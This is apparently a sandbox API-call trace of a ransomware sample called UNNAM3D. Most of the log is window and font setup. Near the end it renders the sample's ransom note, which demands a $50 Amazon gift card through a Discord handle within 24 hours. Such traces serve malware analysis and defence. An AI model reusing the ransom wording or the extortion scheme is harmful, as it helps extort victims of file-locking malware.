GetSysColor (nIndex=11) returned 0xfcf7f4 [0039.782] GetSysColor (nIndex=3) returned 0xdbcdbf [0039.782] GetSysColor (nIndex=19) returned 0x544e43 [0039.782] GetSysColor (nIndex=24) returned 0xe1ffff [0039.782] GetSysColor (nIndex=23) returned 0x0 [0039.782] GetSysColor (nIndex=4) returned 0xf0f0f0 [0039.782] GetSysColor (nIndex=30) returned 0xf0f0f0 [0039.782] GetSysColor (nIndex=29) returned 0xff9933 [0039.782] GetSysColor (nIndex=7) returned 0x0 [0039.782] GetSysColor (nIndex=0) returned 0xc8c8c8 [0039.782] GetSysColor (nIndex=5) returned 0xffffff [0039.782] GetSysColor (nIndex=6) returned 0x646464 [0039.782] GetSysColor (nIndex=8) returned 0x0 [0039.782] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.782] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.784] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e52c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.785] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0039.785] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2a35bf0) returned 0x0 [0039.785] GdipGetFontSize (font=0x589f030, size=0x2a35bf4) returned 0x0 [0039.785] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.785] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.785] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.785] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.785] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0039.785] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2a363e8) returned 0x0 [0039.785] GdipGetFontSize (font=0x585e7c8, size=0x2a363ec) returned 0x0 [0039.785] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.785] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.786] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0039.786] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0039.787] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e5bc, nSize=0x64 | out: lpBuffer="") returned 0x0 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config", nBufferLength=0x105, lpBuffer=0x32e828, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config", lpFilePart=0x0) returned 0x37 [0039.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32ecbc) returned 1 [0039.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x32ed38 | out: lpFileInformation=0x32ed38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0039.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32ecb8) returned 1 [0040.180] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0040.180] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2a396d0) returned 0x0 [0040.180] GdipGetFontSize (font=0x585e7f0, size=0x2a396d4) returned 0x0 [0040.181] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.181] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.181] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.181] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.181] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0040.181] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2a399c8) returned 0x0 [0040.181] GdipGetFontSize (font=0x585e818, size=0x2a399cc) returned 0x0 [0040.181] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.181] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.181] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.181] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.181] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0040.181] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2a39cc0) returned 0x0 [0040.181] GdipGetFontSize (font=0x585e840, size=0x2a39cc4) returned 0x0 [0040.181] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.182] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.182] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.182] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.182] GetStockObject (i=5) returned 0x1900015 [0040.182] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.182] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.182] RegisterClassW (lpWndClass=0x32ede8) returned 0xc137 [0040.182] CoTaskMemFree (pv=0x440490) [0040.182] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.183] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x60066 [0040.183] SetWindowLongW (hWnd=0x60066, nIndex=-4, dwNewLong=2011243997) returned 84674942 [0040.183] GetWindowLongW (hWnd=0x60066, nIndex=-4) returned 2011243997 [0040.183] SetWindowLongW (hWnd=0x60066, nIndex=-4, dwNewLong=84674982) returned 2011243997 [0040.183] GetWindowLongW (hWnd=0x60066, nIndex=-4) returned 84674982 [0040.183] GetWindowLongW (hWnd=0x60066, nIndex=-16) returned 79691776 [0040.183] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x60066, Msg=0x24, wParam=0x0, lParam=0x32e9d0) returned 0x0 [0040.183] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x60066, Msg=0x81, wParam=0x0, lParam=0x32e9c4) returned 0x1 [0040.183] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x60066, Msg=0x83, wParam=0x0, lParam=0x32e9b0) returned 0x0 [0040.183] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x60066, Msg=0x1, wParam=0x0, lParam=0x32e9c4) returned 0x0 [0040.183] SetTimer (hWnd=0x60066, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1 [0040.184] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.184] AdjustWindowRectEx (in: lpRect=0x32eefc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eefc) returned 1 [0040.184] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.184] AdjustWindowRectEx (in: lpRect=0x32eefc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eefc) returned 1 [0040.187] GetProcessHeap () returned 0x3d0000 [0040.187] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42fbb8 | out: hHeap=0x3d0000) returned 1 [0040.187] GetProcessHeap () returned 0x3d0000 [0040.187] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x441710 | out: hHeap=0x3d0000) returned 1 [0040.192] GetProcessHeap () returned 0x3d0000 [0040.192] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x42d780 | out: hHeap=0x3d0000) returned 1 [0040.192] GetProcessHeap () returned 0x3d0000 [0040.192] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x441710 | out: hHeap=0x3d0000) returned 1 [0040.193] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x32e534, nSize=0x64 | out: lpBuffer="") returned 0x0 [0040.287] GdipLoadImageFromStream (stream=0x5a0030, image=0x32e990) returned 0x0 [0040.300] GdipImageForceValidation (image=0x589fcf0) returned 0x0 [0040.307] GdipGetImageType (image=0x589fcf0, type=0x32e98c) returned 0x0 [0040.307] GdipGetImageRawFormat (image=0x589fcf0, format=0x32e910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0040.308] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.308] AdjustWindowRectEx (in: lpRect=0x32eefc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eefc) returned 1 [0040.308] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.308] AdjustWindowRectEx (in: lpRect=0x32eefc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eefc) returned 1 [0040.309] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0040.309] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41040000, style=1, unit=0x3, font=0x2a57fd0) returned 0x0 [0040.309] GdipGetFontSize (font=0x58a0058, size=0x2a57fd4) returned 0x0 [0040.309] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.309] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.309] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.363] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.363] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.363] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32eed0) returned 1 [0040.364] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.364] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32eed0) returned 1 [0040.364] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x32ef4c) returned 0x0 [0040.364] GdipCreateFont (fontFamily=0x555f6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2a584ec) returned 0x0 [0040.364] GdipGetFontSize (font=0x5b09b90, size=0x2a584f0) returned 0x0 [0040.364] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.364] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.365] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.365] AdjustWindowRectEx (in: lpRect=0x32eed0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eed0) returned 1 [0040.365] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.365] AdjustWindowRectEx (in: lpRect=0x32ef30, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ef30) returned 1 [0040.365] GetSystemMetrics (nIndex=59) returned 1460 [0040.365] GetSystemMetrics (nIndex=60) returned 920 [0040.365] GetSystemMetrics (nIndex=34) returned 132 [0040.365] GetSystemMetrics (nIndex=35) returned 38 [0040.365] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.365] AdjustWindowRectEx (in: lpRect=0x32ee30, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ee30) returned 1 [0040.366] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.366] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.367] GdipGetFamilyName (in: family=0x555f6b8, name=0x32ec1c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.368] CreateCompatibleDC (hdc=0x0) returned 0x15010827 [0040.368] GetCurrentObject (hdc=0x15010827, type=0x1) returned 0x1b00017 [0040.368] GetCurrentObject (hdc=0x15010827, type=0x2) returned 0x1900010 [0040.368] GetCurrentObject (hdc=0x15010827, type=0x7) returned 0x185000f [0040.368] GetCurrentObject (hdc=0x15010827, type=0x6) returned 0x18a002e [0040.368] SaveDC (hdc=0x15010827) returned 1 [0040.368] GetDeviceCaps (hdc=0x15010827, index=90) returned 96 [0040.369] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.369] CreateFontIndirectW (lplf=0x440490) returned 0x190a07e8 [0040.369] CoTaskMemFree (pv=0x440490) [0040.369] GetObjectW (in: h=0x190a07e8, c=92, pv=0x32ebf4 | out: pv=0x32ebf4) returned 92 [0040.369] GetCurrentObject (hdc=0x15010827, type=0x6) returned 0x18a002e [0040.369] GetObjectW (in: h=0x18a002e, c=92, pv=0x32eb4c | out: pv=0x32eb4c) returned 92 [0040.370] SelectObject (hdc=0x15010827, h=0x190a07e8) returned 0x18a002e [0040.370] GetMapMode (hdc=0x15010827) returned 1 [0040.370] GetTextMetricsW (in: hdc=0x15010827, lptm=0x32ec00 | out: lptm=0x32ec00) returned 1 [0040.370] DrawTextExW (in: hdc=0x15010827, lpchText="Locked Files", cchText=12, lprc=0x32ed14, format=0x2400, lpdtp=0x2a58ea0 | out: lpchText="Locked Files", lprc=0x32ed14) returned 13 [0040.381] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.381] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.381] GdipGetFamilyName (in: family=0x555f6b8, name=0x32ec1c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.382] GetDeviceCaps (hdc=0x15010827, index=90) returned 96 [0040.382] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.382] CreateFontIndirectW (lplf=0x440490) returned 0x930a0162 [0040.382] CoTaskMemFree (pv=0x440490) [0040.382] GetObjectW (in: h=0x930a0162, c=92, pv=0x32ebf4 | out: pv=0x32ebf4) returned 92 [0040.382] SelectObject (hdc=0x15010827, h=0x930a0162) returned 0x190a07e8 [0040.382] GetMapMode (hdc=0x15010827) returned 1 [0040.382] GetTextMetricsW (in: hdc=0x15010827, lptm=0x32ec00 | out: lptm=0x32ec00) returned 1 [0040.382] DrawTextExW (in: hdc=0x15010827, lpchText="CREATER: UNNAM3D", cchText=16, lprc=0x32ed14, format=0x2400, lpdtp=0x2a5919c | out: lpchText="CREATER: UNNAM3D", lprc=0x32ed14) returned 15 [0040.382] GetCurrentThreadId () returned 0x248 [0040.382] GetCurrentThreadId () returned 0x248 [0040.382] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.382] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.382] DrawTextExW (in: hdc=0x15010827, lpchText="Discord: UNNAM3D#6666", cchText=21, lprc=0x32ed14, format=0x2400, lpdtp=0x2a592a4 | out: lpchText="Discord: UNNAM3D#6666", lprc=0x32ed14) returned 15 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.383] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.383] DrawTextExW (in: hdc=0x15010827, lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", cchText=172, lprc=0x32ed14, format=0x2400, lpdtp=0x2a59380 | out: lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", lprc=0x32ed14) returned 45 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.383] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.383] DrawTextExW (in: hdc=0x15010827, lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", cchText=214, lprc=0x32ed14, format=0x2400, lpdtp=0x2a5945c | out: lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", lprc=0x32ed14) returned 60 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetCurrentThreadId () returned 0x248 [0040.383] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.383] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.383] GdipGetFamilyName (in: family=0x555f6b8, name=0x32ec1c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.384] GetDeviceCaps (hdc=0x15010827, index=90) returned 96 [0040.384] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.384] CreateFontIndirectW (lplf=0x440490) returned 0x460a0805 [0040.384] CoTaskMemFree (pv=0x440490) [0040.384] GetObjectW (in: h=0x460a0805, c=92, pv=0x32ebf4 | out: pv=0x32ebf4) returned 92 [0040.384] SelectObject (hdc=0x15010827, h=0x460a0805) returned 0x930a0162 [0040.384] GetMapMode (hdc=0x15010827) returned 1 [0040.384] GetTextMetricsW (in: hdc=0x15010827, lptm=0x32ec00 | out: lptm=0x32ec00) returned 1 [0040.384] DrawTextExW (in: hdc=0x15010827, lpchText="How do i pay?", cchText=13, lprc=0x32ed14, format=0x2400, lpdtp=0x2a596fc | out: lpchText="How do i pay?", lprc=0x32ed14) returned 24 [0040.384] GetCurrentThreadId () returned 0x248 [0040.384] GetCurrentThreadId () returned 0x248 [0040.384] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.384] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.384] DrawTextExW (in: hdc=0x15010827, lpchText="What Happend?", cchText=13, lprc=0x32ed14, format=0x2400, lpdtp=0x2a59824 | out: lpchText="What Happend?", lprc=0x32ed14) returned 24 [0040.384] GetCurrentThreadId () returned 0x248 [0040.384] GetCurrentThreadId () returned 0x248 [0040.385] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.385] AdjustWindowRectEx (in: lpRect=0x32ed2c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ed2c) returned 1 [0040.385] GdipGetFamilyName (in: family=0x555f6b8, name=0x32ec1c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0040.385] GetDeviceCaps (hdc=0x15010827, index=90) returned 96 [0040.385] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.385] CreateFontIndirectW (lplf=0x440490) returned 0x180a07ec [0040.385] CoTaskMemFree (pv=0x440490) [0040.385] GetObjectW (in: h=0x180a07ec, c=92, pv=0x32ebf4 | out: pv=0x32ebf4) returned 92 [0040.385] SelectObject (hdc=0x15010827, h=0x180a07ec) returned 0x460a0805 [0040.385] GetMapMode (hdc=0x15010827) returned 1 [0040.385] GetTextMetricsW (in: hdc=0x15010827, lptm=0x32ec00 | out: lptm=0x32ec00) returned 1 [0040.385] DrawTextExW (in: hdc=0x15010827, lpchText="-YOUR FILES HAVE BEEN LOCKED-", cchText=29, lprc=0x32ed14, format=0x2400, lpdtp=0x2a59ac4 | out: lpchText="-YOUR FILES HAVE BEEN LOCKED-", lprc=0x32ed14) returned 25 [0040.385] GetCurrentThreadId () returned 0x248 [0040.385] GetCurrentThreadId () returned 0x248 [0040.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.386] AdjustWindowRectEx (in: lpRect=0x32ee48, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ee48) returned 1 [0040.386] AdjustWindowRectEx (in: lpRect=0x32ef10, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ef10) returned 1 [0040.386] GetSystemMetrics (nIndex=59) returned 1460 [0040.386] GetSystemMetrics (nIndex=60) returned 920 [0040.386] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.386] AdjustWindowRectEx (in: lpRect=0x32ed4c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ed4c) returned 1 [0040.386] AdjustWindowRectEx (in: lpRect=0x32ee10, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x32ee10) returned 1 [0040.386] CreateCompatibleDC (hdc=0x0) returned 0x14010836 [0040.387] GetDC (hWnd=0x0) returned 0x101080c [0040.387] GdipCreateFromHDC (hdc=0x101080c, graphics=0x32ed6c) returned 0x0 [0040.387] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.387] GdipGetLogFontW (font=0x58f2940, graphics=0x5b09bb8, logfontW=0x440490) returned 0x0 [0040.387] CoTaskMemFree (pv=0x440490) [0040.387] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.387] CoTaskMemFree (pv=0x440490) [0040.387] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.387] CoTaskMemFree (pv=0x440490) [0040.387] GdipDeleteGraphics (graphics=0x5b09bb8) returned 0x0 [0040.388] ReleaseDC (hWnd=0x0, hDC=0x101080c) returned 1 [0040.388] CoTaskMemAlloc (cb=0x5c) returned 0x440490 [0040.388] CreateFontIndirectW (lplf=0x440490) returned 0x130a0826 [0040.388] CoTaskMemFree (pv=0x440490) [0040.388] SelectObject (hdc=0x14010836, h=0x130a0826) returned 0x18a002e [0040.388] GetTextMetricsW (in: hdc=0x14010836, lptm=0x32ee78 | out: lptm=0x32ee78) returned 1 [0040.388] GetTextExtentPoint32W (in: hdc=0x14010836, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2a5a348 | out: psizl=0x2a5a348) returned 1 [0040.388] SelectObject (hdc=0x14010836, h=0x18a002e) returned 0x130a0826 [0040.388] DeleteDC (hdc=0x14010836) returned 1 [0040.389] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.389] AdjustWindowRectEx (in: lpRect=0x32ebe4, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x32ebe4) returned 1 [0040.389] GetCursorPos (in: lpPoint=0x2a5a368 | out: lpPoint=0x2a5a368*(x=170, y=368)) returned 1 [0040.389] GetSystemMetrics (nIndex=80) returned 1 [0040.389] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32eac0 | out: lpmi=0x32eac0) returned 1 [0040.390] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x16010836 [0040.390] GetDeviceCaps (hdc=0x16010836, index=12) returned 32 [0040.390] GetDeviceCaps (hdc=0x16010836, index=14) returned 1 [0040.390] DeleteDC (hdc=0x16010836) returned 1 [0040.390] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32eb14 | out: lpmi=0x32eb14) returned 1 [0040.390] AdjustWindowRectEx (in: lpRect=0x32ee04, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x32ee04) returned 1 [0040.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.390] AdjustWindowRectEx (in: lpRect=0x32eb5c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x32eb5c) returned 1 [0040.390] GetCursorPos (in: lpPoint=0x2a5a69c | out: lpPoint=0x2a5a69c*(x=170, y=368)) returned 1 [0040.390] MonitorFromPoint (pt=0xa7, dwFlags=0x170) returned 0x10001 [0040.390] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32ea38 | out: lpmi=0x32ea38) returned 1 [0040.390] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x17010836 [0040.390] GetDeviceCaps (hdc=0x17010836, index=12) returned 32 [0040.391] GetDeviceCaps (hdc=0x17010836, index=14) returned 1 [0040.391] DeleteDC (hdc=0x17010836) returned 1 [0040.391] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32ea8c | out: lpmi=0x32ea8c) returned 1 [0040.391] AdjustWindowRectEx (in: lpRect=0x32ec3c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x32ec3c) returned 1 [0040.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.391] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32edfc) returned 1 [0040.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.391] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x32ec60) returned 1 [0040.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.391] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.391] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.391] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.392] 